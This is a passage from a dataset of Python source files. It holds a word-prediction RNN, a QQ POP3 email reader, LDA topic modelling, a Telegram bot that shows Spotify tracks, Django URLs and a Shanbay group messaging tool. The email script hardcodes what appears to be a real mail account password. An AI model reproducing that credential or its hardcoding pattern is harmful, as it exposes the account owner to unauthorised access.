1]\n sequences.append(sequence)\nsequences = np.array(sequences)\n#print(word2idx)\nX, Y = sequences[:, 0], sequences[:, 1]\nX = np.expand_dims(X, 1)\nY = np.expand_dims(Y, 1)\n\nBUFFER_SIZE = 100\nBATCH_SIZE = 100\ndataset = tf.data.Dataset.from_tensor_slices((X, Y)).shuffle(BUFFER_SIZE)\ndataset = dataset.batch(BATCH_SIZE, drop_remainder=True)\n\nclass Model(tf.keras.Model):\n def __init__(self, vocab_size, embedding_dim, units, batch_size):\n super(Model, self).__init__()\n self.units = units\n self.batch_size = batch_size\n \n self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)\n \n self.gru = tf.keras.layers.GRU(self.units,\n return_sequences=True,\n return_state=True,\n recurrent_activation='sigmoid',\n recurrent_initializer='glorot_uniform')\n self.fc = tf.keras.layers.Dense(vocab_size)\n \n def call(self, inputs, hidden):\n inputs = self.embedding(inputs)\n #print(inputs)\n output, states = self.gru(inputs, initial_state=hidden)\n \n output = tf.reshape(output, (-1, output.shape[2]))\n \n x = self.fc(output)\n \n return x, states\n \n#This function returns only similar words that contains in train dataset\ndef sortSimilarListByDataset(words_list):\n ret_list = []\n for word in words_list:\n try:\n if word2idx[word]:\n ret_list.append(word)\n except KeyError:\n continue\n return ret_list\n#Returns Top N words, that similars with\ndef getSimilarsForWord(word, top=10):\n parsed = morph.parse(word)\n try:\n pos = cotags[parsed[0].tag.POS]\n except KeyError:\n return [word]\n gensim_find_word = word + \"_\" + pos\n most_similars = model.most_similar([gensim_find_word], topn=top)\n return_list = []\n for sim in most_similars:\n sim_parsed = sim[0].split(\"_\")\n if sim_parsed[1] == pos:\n return_list.append(sim_parsed[0])\n return return_list\n\n \nembedding_dim = 100\n \nunits = 2048\n \nkeras_model = Model(vocab_size, embedding_dim, units, BATCH_SIZE)\n\noptimizer = tf.train.AdamOptimizer()\n \n#checkpoint_dir = '.\\\\training_checkpoints_wordstat'\ncheckpoint_dir = '.\\\\training_checkpoints_wordstat_small2048'\n\ncheckpoint_prefix = os.path.join(checkpoint_dir, \"ckpt\")\ncheckpoint = tf.train.Checkpoint(optimizer=optimizer, model=keras_model)\n\ndef loss_function(labels, logits):\n return tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\n\nEPOCHS = 10\n# for epoch in range(EPOCHS):\n# start = time.time()\n \n# hidden = keras_model.reset_states()\n \n# for (batch, (input, target)) in enumerate(dataset):\n# with tf.GradientTape() as tape:\n# predictions, hidden = keras_model(input, hidden)\n \n# target = tf.reshape(target, (-1,))\n# loss = loss_function(target, predictions)\n \n# grads = tape.gradient(loss, keras_model.variables)\n# optimizer.apply_gradients(zip(grads, keras_model.variables))\n \n# if batch % 100 == 0:\n# print('Epoch {} Batch {} Loss {:.4f}'.format(epoch + 1, batch, loss))\n \n# if (epoch + 1) % 10 == 0:\n# checkpoint.save(file_prefix=checkpoint_prefix)\n\ncheckpoint.restore(tf.train.latest_checkpoint(checkpoint_dir))\n#print(\"UNITS: %s\" %(units))\nhidden = [tf.zeros((1, units))]\n\n#Now we find similars for start word\nsimilar_words = getSimilarsForWord(predict_word, 10)\nsimilar_words.append(predict_word)\ndataset_words_list = sortSimilarListByDataset(similar_words)\n#print(\"dataset_words_list %s\" %(dataset_words_list))\n\nsequences_lists = [[word] for word in dataset_words_list]\n# sequences_list = [[word] for word in dataset_words_list]\n# sequences_lists = []\n# for i in range(5):\n# for elem in sequences_list:\n# sequences_lists.append(elem)\n\n#print(sequences_lists)\nfor sequence in sequences_lists:\n for i in range(1):\n input_eval = [word2idx[sequence[i]]]\n input_eval = tf.expand_dims(input_eval, 0) \n\n predictions, hidden = keras_model(input_eval, hidden)\n# print(\"PREDICTIONS\")\n# print(predictions)\n\n predicted_id = tf.argmax(predictions[-1]).numpy()\n\n sequence.append(idx2word[predicted_id])\n \nfor sequence in sequences_lists:\n print(\" \".join(sequence))", "sub_path": "from_scratch/word_prediction_run.py", "file_name": "word_prediction_run.py", "file_ext": "py", "file_size_in_byte": 6022, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.enable_eager_execution", "line_number": 19, "usage_type": "call"}, {"api_name": "gensim.models.KeyedVectors.load_word2vec_format", "line_number": 27, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pymorphy2.MorphAnalyzer", "line_number": 29, "usage_type": "call"}, {"api_name": "keras_preprocessing.text.Tokenizer", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Embedding", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.GRU", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 85, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Checkpoint", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 137, "usage_type": "attribute"}, {"api_name": "tensorflow.losses.sparse_softmax_cross_entropy", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 140, "usage_type": "attribute"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 164, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 185, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 191, "usage_type": "call"}]} +{"seq_id": "220761520", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom email.parser import Parser\nfrom email.header import decode_header\nfrom email.utils import parseaddr\n\nimport poplib\n\n# import email\n# 错误写法from email.message_from_string import message_from_string\nfrom email import message_from_string\n \n\n# 输入邮件地址, 口令和POP3服务器地址:\nemail = input('Email: ')\n# password = input('Password: ')\n# pop3_server = input('POP3 server: ')\npassword = 'mndbotrtnlqmdddh'\npop3_server = 'pop.qq.com'\n\ndef guess_charset(msg):\n charset = msg.get_charset()\n if charset is None:\n content_type = msg.get('Content-Type', '').lower()\n pos = content_type.find('charset=')\n if pos >= 0:\n charset = content_type[pos + 8:].strip()\n return charset\n\n#邮件的Subject或者Email中包含的名字都是经过编码后的str，要正常显示，就必须decode：\ndef decode_str(s):\n value, charset = decode_header(s)[0]\n if charset:\n value = value.decode(charset)\n return value\n\ndef print_info(msg, indent=0):\n if indent == 0:\n for header in ['From', 'To', 'Subject']:\n value = msg.get(header, '')\n if value:\n if header=='Subject':\n value = decode_str(value)\n else:\n hdr, addr = parseaddr(value)\n name = decode_str(hdr)\n value = u'%s <%s>' % (name, addr)\n print('%s%s: %s' % (' ' * indent, header, value))\n if (msg.is_multipart()):\n parts = msg.get_payload()\n for n, part in enumerate(parts):\n print('%spart %s' % (' ' * indent, n))\n print('%s--------------------' % (' ' * indent))\n print_info(part, indent + 1)\n else:\n content_type = msg.get_content_type()\n if content_type=='text/plain' or content_type=='text/html':\n content = msg.get_payload(decode=True)\n charset = guess_charset(msg)\n if charset:\n content = content.decode(charset)\n print('%sText: %s' % (' ' * indent, content + '...'))\n else:\n print('%sAttachment: %s' % (' ' * indent, content_type))\n\n# 连接到POP3服务器:\n# server = poplib.POP3(pop3_server)\n# Error: b'-ERR Login fail. A secure connection is requiered(such as ssl). More information at http://service.mail.qq.com/cgi-bin/help?id=28'\nserver = poplib.POP3_SSL(pop3_server)\n# 可以打开或关闭调试信息:\nserver.set_debuglevel(1)\n# 可选:打印POP3服务器的欢迎文字:\nprint(server.getwelcome().decode('utf-8'))\n\ndef server_stat(server):\n # stat()返回邮件数量和占用空间:\n print('Messages: %s. Size: %s' % server.stat())\n # list()返回所有邮件的编号:\n resp, mails, octets = server.list()\n # 可以查看返回的列表类似[b'1 82923', b'2 2184', ...]\n print('mails>>',mails)\n\n # 获取最新一封邮件, 注意索引号从1开始:\n index = len(mails)#新邮件？？？？？？？？\n print('index>>',index)\n resp, lines, octets = server.retr(index)\n # lines存储了邮件的原始文本的每一行,\n # 可以获得整个邮件的原始文本:\n msg_content = b'\\r\\n'.join(lines).decode('utf-8')\n\n # 稍后解析出邮件:\n #！！！！Message对象本身可能是一个MIMEMultipart对象，即包含嵌套的其他MIMEBase对象，嵌套可能还不止一层\n msg = Parser().parsestr(msg_content)\n print_info(msg)\n\n # 可以根据邮件索引号直接从服务器删除邮件:\n # server.dele(index)\n\ndef email_message(server):\n # stat()返回邮件数量和占用空间:\n allemail = server.stat()\n print('Messages: %s. Size: %s' % allemail)\n\n # 参考https://blog.csdn.net/yatere/article/details/6654647 实际代码\n # 取出信件头部。注意：top指定的行数是以信件头为基数的，也就是说当取0行，\n # 其实是返回头部信息，取1行其实是返回头部信息之外再多1行。\n topemail = server.top(allemail[0], 0)\n emaillist = []\n\n\n # 参考https://blog.csdn.net/guogaoan/article/details/37034473\n # 提取当前收件箱中最新的一封邮件，由于邮件数据是经过编码的，这里我们依次尝试utf8、gbk、big5三种编码格 式进行解码，并提取邮件标题部分数据\n \n\n '''\n type=messageString.get_content_charset()\n #if type=='gb2312':\n # unicode(messageString.get_payload(),'gb2312')\n #if type=='shift_jis':\n # unicode(messageString.get_payload(),'shift_jis')\n #if type=='None':\n # unicode(messageString.get_payload(),'utf-8')\n '''\n for item in topemail[1]:\n try:\n emaillist.append(item.decode('utf8'))\n except Exception as e:\n try:\n emaillist.append(item.decode('gbk'))\n except Exception as e:\n emaillist.append(item.decode('big5'))\n emailmsg = message_from_string('\\n'.join(emaillist))\n emailsub = decode_header(emailmsg['subject'])\n # 其中emailsub通常包括两个信息，一个是编码后的标题文本数据，另一个 是其编码格式，所以我们还需要再进行一次解码，这时获得的才是真正可用的标题文本数据。\n if emailsub[0][1]:\n submsg = emailsub[0][0].decode(emailsub[0][1])\n else:\n submsg = emailsub[0][0]\n return submsg\n\ntry:\n # 身份认证:\n server.user(email)\n server.pass_(password)\nexcept Exception as e:\n print('Error:', e)\n # 幸好打印错误码，不然一脸懵逼\n # 参考https://blog.csdn.net/qq_41104478/article/details/78581400\n print('读取邮件登录失败') \n # exit()\nelse:\n # 如果没有错误发生，可以在except语句块后面加一个else\n # server_stat(server)\n submsg = email_message(server)\n print('submsg>>\\n',submsg)\n\n # 关闭连接:\n server.quit()\n print('server.quit')\nfinally:\n # except执行后，都会执行，\n # 执行完except后，如果有finally语句块，则执行finally语句块\n print('finally...')\n\n\n# def pop_connect(self):\n# try:\n# self.reademail = poplib.POP3_SSL(self._pop_server)\n# self.reademail.user(self._addr)\n# self.reademail.pass_(self._password)\n# self.allemail = self.reademail.stat()\n# except: print('读取邮件登录失败') exit()\n\n# def receive_email(self):\n# self.pop_connect()\n# topemail = self.reademail.top(self.allemail[0], 0)\n# emaillist = []\n# for item in topemail[1]:\n# try:\n# emaillist.append(item.decode('utf8'))\n# except: try:\n# emaillist.append(item.decode('gbk'))\n# except:\n# emaillist.append(item.decode('big5'))\n# emailmsg = email.message_from_string('\\n'.join(emaillist))\n# emailsub = email.header.decode_header(emailmsg['subject'])\n# if emailsub[0][1]:\n# submsg = emailsub[0][0].decode(emailsub[0][1])\n# else:\n# submsg = emailsub[0][0]\n# return submsg\n\n\n\n", "sub_path": "shutdowmemail/recevie_test.py", "file_name": "recevie_test.py", "file_ext": "py", "file_size_in_byte": 7006, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "email.parser", "line_number": 16, "usage_type": "name"}, {"api_name": "email.header.decode_header", "line_number": 33, "usage_type": "call"}, {"api_name": "email.utils.parseaddr", "line_number": 46, "usage_type": "call"}, {"api_name": "poplib.POP3_SSL", "line_number": 70, "usage_type": "call"}, {"api_name": "email.parser.Parser", "line_number": 94, "usage_type": "call"}, {"api_name": "email.message_from_string", "line_number": 133, "usage_type": "call"}, {"api_name": "email.header.decode_header", "line_number": 134, "usage_type": "call"}, {"api_name": "email.parser", "line_number": 144, "usage_type": "argument"}]} +{"seq_id": "266932094", "text": "\n# coding: utf-8\n\n# In[1]:\n\n\n'''####### '''\n\n\n# In[2]:\n\n\nimport numpy as np\nimport pickle\n#import operator\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom gensim import corpora, models\n\n\n# In[3]:\n\n\ndataset = 'imagenet'\npercentileset = 'imagenet'\n\nimage_fc7 = np.load('data/' + dataset + '_fc7.npy') ######### dataset fc7\npercentile_fc7 = np.load('data/' + percentileset + '_percentile_fc7.npy')\n# Load image id list\nimg_list = np.load('data/' + dataset + '_raw_image_list.npy') ######### dataset image list\n\n\n# In[4]:\n\n\nbinary_vector_fc7 = np.greater(image_fc7, percentile_fc7).astype(int) ###########\n\n\n# In[5]:\n\n\nprint(\"Data shape: \", binary_vector_fc7.shape)\nprint(\"Number of 1s: \", np.sum(binary_vector_fc7 == 1))\nprint(\"Number of 0s: \", np.sum(binary_vector_fc7 == 0))\nprint(\"Anomailes: \",np.sum([binary_vector_fc7 < 0]))\n\n\n# In[6]:\n\n\n# Define parameters for topic modelling\nnum_topics = [10, 20, 50]\nnum_words = 4096 # Number of top features to be displayed per topic\nnum_images = binary_vector_fc7.shape[0]\n\n\n# In[7]:\n\n\n# Prepare for corpus\ncorpus_fc7 = [[(j, binary_vector_fc7[i, j]) for j in range(num_words) if binary_vector_fc7[i, j]==1] for i in range(num_images)]\ncorpora.MmCorpus.serialize('data/corpus_fc7.mm', corpus_fc7)\n\n# Load corpus\ncorpus = corpora.MmCorpus('data/corpus_fc7.mm')\nprint(corpus[:2])\n\n\n# In[8]:\n\n\nfor K in num_topics:\n # Create the Topic Model\n model_name = str(K) + '-topics.model'\n lda = models.ldamodel.LdaModel(corpus, num_topics = K)\n lda.save('data/' + model_name)\n\n # Get topic for each image\n img_by_topic = [[] for _ in range(K)]\n for i in range(num_images):\n ind, val = sorted(lda.get_document_topics(corpus[i]), key=lambda x:x[1])[-1]\n img_by_topic[ind].append((i, val))\n\n for j in range(K):\n img_by_topic[j].sort(key = lambda x: -x[1])\n\n # Save results\n with open(\"data/\" + str(K) + \"-topic-res-fc7.txt\", \"wb\") as fp:\n pickle.dump(img_by_topic, fp)\n\n# # Or load the saved model\n# ldamodel = gensim.models.ldamodel.LdaModel.load(\"../2 topics/\"+model_name)\n\n\n# In[9]:\n\n\nfor K in num_topics:\n with open(\"data/\" + str(K) + \"-topic-res-fc7.txt\", \"rb\") as fp:\n img_by_topic = pickle.load(fp) \n \n top_list = range(K)\n for topic in top_list:\n fig, ax = plt.subplots(nrows=5, ncols=5, dpi=160)\n fig.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=0.3)\n fig.suptitle(str(K)+' Topics: Topic '+str(topic+1))\n i = 0\n try:\n for row in ax:\n for col in row:\n I = img_list[img_by_topic[topic][i][0]]\n i += 1\n col.axis('off')\n col.imshow(I)\n col.set_title(i, fontsize=5)\n col.imshow(I) \n plt.show() \n except:\n print ('No samples in current topic')\n\n", "sub_path": "fc7 - topic 10 20 50.py", "file_name": "fc7 - topic 10 20 50.py", "file_ext": "py", "file_size_in_byte": 2949, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.load", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.greater", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 45, "usage_type": "call"}, {"api_name": "gensim.corpora.MmCorpus.serialize", "line_number": 62, "usage_type": "call"}, {"api_name": "gensim.corpora.MmCorpus", "line_number": 62, "usage_type": "attribute"}, {"api_name": "gensim.corpora", "line_number": 62, "usage_type": "name"}, {"api_name": "gensim.corpora.MmCorpus", "line_number": 65, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 65, "usage_type": "name"}, {"api_name": "gensim.models.ldamodel.LdaModel", "line_number": 75, "usage_type": "call"}, {"api_name": "gensim.models.ldamodel", "line_number": 75, "usage_type": "attribute"}, {"api_name": "gensim.models", "line_number": 75, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 89, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}]} +{"seq_id": "257315931", "text": "import torch\nimport torch.nn.functional\n\nfrom deeplodocus.utils import get_main_path\nimport deeplodocus.data.transforms as tfm\n\n\nDEEP_MODULE_OPTIMIZERS = {\"pytorch\":\n {\"path\" : torch.optim.__path__,\n \"prefix\" : torch.optim.__name__},\n \"custom\":\n {\"path\": [get_main_path() + \"/modules/optimizers\"],\n \"prefix\": \"modules.optimizers\"}\n }\n\nDEEP_MODULE_MODELS = {\"custom\":\n {\"path\": [get_main_path() + \"/modules/models\"],\n \"prefix\": \"modules.models\"}\n }\n\nDEEP_MODULE_LOSSES = {\"pytorch\":\n {\"path\" : torch.nn.__path__,\n \"prefix\" : torch.nn.__name__},\n \"custom\":\n {\"path\": [get_main_path() + \"/modules/losses\"],\n \"prefix\": \"modules.losses\"}\n }\n\nDEEP_MODULE_METRICS = {\"pytorch\":\n {\"path\" : torch.nn.__path__,\n \"prefix\" : torch.nn.__name__},\n \"custom\":\n {\"path\": [get_main_path() + \"/modules/metrics\"],\n \"prefix\": \"modules.metrics\"}\n }\n\nDEEP_MODULE_TRANSFORMS = {\"deeplodocus\":\n {\"path\" : tfm.__path__,\n \"prefix\" : tfm.__name__},\n \"custom\":\n {\"path\": [get_main_path() + \"/modules/transforms\"],\n \"prefix\": \"modules.transforms\"}\n }", "sub_path": "deeplodocus/utils/flags/module.py", "file_name": "module.py", "file_ext": "py", "file_size_in_byte": 1742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.optim", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.optim", "line_number": 10, "usage_type": "attribute"}, {"api_name": "deeplodocus.utils.get_main_path", "line_number": 12, "usage_type": "call"}, {"api_name": "deeplodocus.utils.get_main_path", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "attribute"}, {"api_name": "deeplodocus.utils.get_main_path", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "attribute"}, {"api_name": "deeplodocus.utils.get_main_path", "line_number": 33, "usage_type": "call"}, {"api_name": "deeplodocus.data.transforms.__path__", "line_number": 38, "usage_type": "attribute"}, {"api_name": "deeplodocus.data.transforms", "line_number": 38, "usage_type": "name"}, {"api_name": "deeplodocus.data.transforms.__name__", "line_number": 39, "usage_type": "attribute"}, {"api_name": "deeplodocus.data.transforms", "line_number": 39, "usage_type": "name"}, {"api_name": "deeplodocus.utils.get_main_path", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "275856281", "text": "from uuid import uuid4\nfrom pony import orm\nfrom telegram import (\n ParseMode,\n InlineQueryResultArticle,\n InputTextMessageContent,\n InlineKeyboardMarkup,\n InlineKeyboardButton,\n)\nfrom telegram.utils.helpers import escape_markdown\nfrom datetime import datetime\n\nfrom models import User\nfrom spotify_client import spt, get_credentials\nfrom utils import bot_description\n\n\ndef help(update, context):\n \"\"\"Send a message when the command /help is issued.\"\"\"\n update.message.reply_text(bot_description)\n\n\n@orm.db_session\ndef start(update, context):\n \"\"\"Send a message when the command /start is issued.\"\"\"\n if spt.is_oauth_ready:\n user_id = str(update.message.from_user.id)\n url = spt.auth_uri(state=user_id)\n update.message.reply_text(\n \"Tap the button below to log in with your Spotify account\",\n reply_markup=InlineKeyboardMarkup(\n inline_keyboard=[[InlineKeyboardButton(text=\"Login\", url=url)]]\n ),\n )\n else:\n print(\"There's something wrong\")\n update.message.reply_text(\"There's something wrong\")\n\n\n@orm.db_session\ndef inlinequery(update, context):\n \"\"\"Handle the inline query.\"\"\"\n user_id = update.inline_query.from_user.id\n users = orm.select(u for u in User if u.telegram_id == user_id)[:]\n if users:\n user = users[0]\n else:\n update.inline_query.answer(\n [],\n switch_pm_text=\"Login to Spotify\",\n switch_pm_parameter=\"spotify_log_in\",\n cache_time=0,\n )\n return 0\n\n user_creds = get_credentials(user)\n\n spoti = spt\n spoti.user_creds = user_creds\n\n current_status = spoti.currently_playing() # [\"item\"]\n if current_status:\n song = spoti.currently_playing()[\"item\"]\n else: # no songs currently playing\n song = spoti.recently_played_tracks(limit=1)[\"items\"][0][\n \"track\"\n ] # get the last played song\n print(\n \"{} | {} - {}\".format(datetime.now(), song[\"artists\"][0][\"name\"], song[\"name\"])\n )\n song_title = song[\"name\"]\n song_artist = song[\"artists\"][0][\"name\"]\n song_url = song[\"external_urls\"][\"spotify\"]\n thumb = song[\"album\"][\"images\"][-1]\n results = [\n InlineQueryResultArticle(\n id=uuid4(),\n title=\"{} - {}\".format(song_artist, song_title),\n url=song_url,\n thumb_url=thumb[\"url\"],\n thumb_width=thumb[\"width\"],\n thumb_height=thumb[\"height\"],\n input_message_content=InputTextMessageContent(\n \"🎵 [{}]({}) by {}\".format(\n escape_markdown(song_title), song_url, escape_markdown(song_artist)\n ),\n parse_mode=ParseMode.MARKDOWN,\n ),\n reply_markup=InlineKeyboardMarkup(\n inline_keyboard=[\n [InlineKeyboardButton(text=\"Listen on Spotify\", url=song_url)]\n ]\n ),\n )\n ]\n\n update.inline_query.answer(results, cache_time=0)\n\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n print('Update \"%s\" caused error \"%s\"', update, context.error)\n", "sub_path": "bot_callbacks.py", "file_name": "bot_callbacks.py", "file_ext": "py", "file_size_in_byte": 3182, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "utils.bot_description", "line_number": 20, "usage_type": "argument"}, {"api_name": "spotify_client.spt.is_oauth_ready", "line_number": 26, "usage_type": "attribute"}, {"api_name": "spotify_client.spt", "line_number": 26, "usage_type": "name"}, {"api_name": "spotify_client.spt.auth_uri", "line_number": 28, "usage_type": "call"}, {"api_name": "spotify_client.spt", "line_number": 28, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 31, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 32, "usage_type": "call"}, {"api_name": "pony.orm.db_session", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pony.orm", "line_number": 23, "usage_type": "name"}, {"api_name": "pony.orm.select", "line_number": 44, "usage_type": "call"}, {"api_name": "pony.orm", "line_number": 44, "usage_type": "name"}, {"api_name": "models.User", "line_number": 44, "usage_type": "name"}, {"api_name": "spotify_client.get_credentials", "line_number": 56, "usage_type": "call"}, {"api_name": "spotify_client.spt", "line_number": 58, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "name"}, {"api_name": "telegram.InlineQueryResultArticle", "line_number": 76, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 77, "usage_type": "call"}, {"api_name": "telegram.InputTextMessageContent", "line_number": 83, "usage_type": "call"}, {"api_name": "telegram.utils.helpers.escape_markdown", "line_number": 85, "usage_type": "call"}, {"api_name": "telegram.ParseMode.MARKDOWN", "line_number": 87, "usage_type": "attribute"}, {"api_name": "telegram.ParseMode", "line_number": 87, "usage_type": "name"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 89, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 91, "usage_type": "call"}, {"api_name": "pony.orm.db_session", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pony.orm", "line_number": 40, "usage_type": "name"}]} +{"seq_id": "23242111", "text": "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'(?P\\d+)/(?P\\d+)/$',views.step_detail,\n name='step'),\n url(r'^$', views.guide_list, name='list'),\n url(r'(?P\\d+)/$', views.guide_detail, name='detail'),\n]", "sub_path": "rdp/guides/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 269, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "117673777", "text": "# -*- coding: utf-8 -*-\nimport logging\nimport os\nimport random\nfrom xml.etree import ElementTree\n\nfrom common import Checker, HOME\nfrom conf import TemplateParser\nfrom shanbay.util import open_file, console, ask\n\n\nclass MsgTool(Checker):\n def __init__(self):\n Checker.__init__(self)\n self.START_PROMPT = '========================= 短信工具开始 ========================='\n self.END_PROMPT = '========================= 短信工具结束 ========================='\n self.DIR = os.path.join(HOME, 'data/msg_tool/%s' % self.TODAY_STR)\n self.LOG = os.path.join(self.DIR, '%s_msg_tool.txt' % self.TODAY_STR)\n self.MAKO = os.path.abspath(os.path.join(HOME, 'bin/etc/msg_tool.mako'))\n\n self.input_txt = os.path.abspath(os.path.join(HOME, 'user/input.txt'))\n self.xml = os.path.abspath(os.path.join(HOME, 'user/msg_tool.xml'))\n self.mode = 1\n\n # “踢人并发送短信”模式用\n self.statistic = {}\n self.email_content = ''\n self.HTML = os.path.abspath(os.path.join(self.DIR, '%s_msg_tool.html' % self.NOW_STR))\n self.EMAIL_SUBJECT = '【兰芷馥郁】管理踢人报表'\n\n def main(self):\n # noinspection PyBroadException\n try:\n self.set_logger()\n self.login_prepare()\n self.select_mode()\n if self.mode == 1:\n self.send_all_process()\n elif self.mode == 2:\n self.send_part_process()\n elif self.mode == 3:\n self.dispel_with_msg()\n except Exception as e:\n logging.exception(e)\n self.quit()\n\n def login_prepare(self):\n # 在载入模板前进行一些初始化工作\n # 检查xml存在性，若不存在从data目录复制\n if not os.path.exists(self.xml):\n import shutil\n shutil.copy(os.path.abspath(os.path.join(HOME, 'data', 'msg_tool.xml')), self.xml)\n # 检查txt存在性，若不存在新建个，若存在则清空\n with open(self.input_txt, 'w'):\n pass\n # 显示开始，加载模板\n console(self.START_PROMPT)\n self.load_templates()\n\n def load_templates(self):\n \"\"\"\n 加载短信模板\n \"\"\"\n if self.xml:\n try:\n if isinstance(self.xml, str):\n self.templates = TemplateParser(self.xml)\n elif isinstance(self.xml, (list, tuple)):\n self.templates = TemplateParser(*self.xml)\n # 若解析失败，给出友好提示\n except ElementTree.ParseError:\n msg = '''msg_tool.xml解析失败！请检查如下：\n1、短信的标题和内容是否含有<或&\n2、XML的结构是否正确\n对于1，请按如下规则进行替换或不使用这些字符：\n<替换为< &替换为&\n对于2，请参考data目录下的XML结构'''\n console(msg)\n self.quit()\n\n def select_mode(self):\n modes = [\n '发送全员通知',\n '指定用户ID群发',\n '踢人并发送短信',\n ]\n for i, m in enumerate(modes):\n console('%d -> %s' % (i + 1, m))\n ans = ask('请选择：', [1, 2, 3], '输入有误，请重新输入！')\n self.mode = int(ans)\n\n def get_members(self):\n for mbr in self.get_rest_members():\n self.members[mbr.user_id] = mbr\n print()\n\n def send_all_process(self):\n def preview(mid):\n # 重新载入短信模板并向自己发短信预览\n self.load_templates()\n self.members[mid]['remark'] = ['all']\n self.send_msgs('all')\n console('已向自己发送短信，请打开扇贝进行预览。')\n del self.members[mid]['remark']\n\n # 检查短信模板中是否存在all标记\n if not hasattr(self.templates, 'all'):\n console('短信模板中无all标记！')\n return False\n # 获取所有成员\n self.login_process()\n self.get_members()\n # 向自己发短信进行预览\n my_uid = __class__.my_info().user_id\n preview(my_uid)\n while True:\n yrn = ask('接下来，y-继续（默认），r-重新载入短信模板，n-取消。请选择：', '[yYrRnN]|', '无此选项')\n if yrn.lower() in ('y', 'n', ''):\n break\n else:\n preview(my_uid)\n if yrn.lower() == 'n':\n return False\n # 验证码确认\n vn = '%04d' % random.randint(0, 9999)\n ask('请输入验证码（%s）以确认本次操作：' % vn, vn, '验证码输入错误！')\n # 添加标记并发送短信\n for uid, mbr in self.members.items():\n 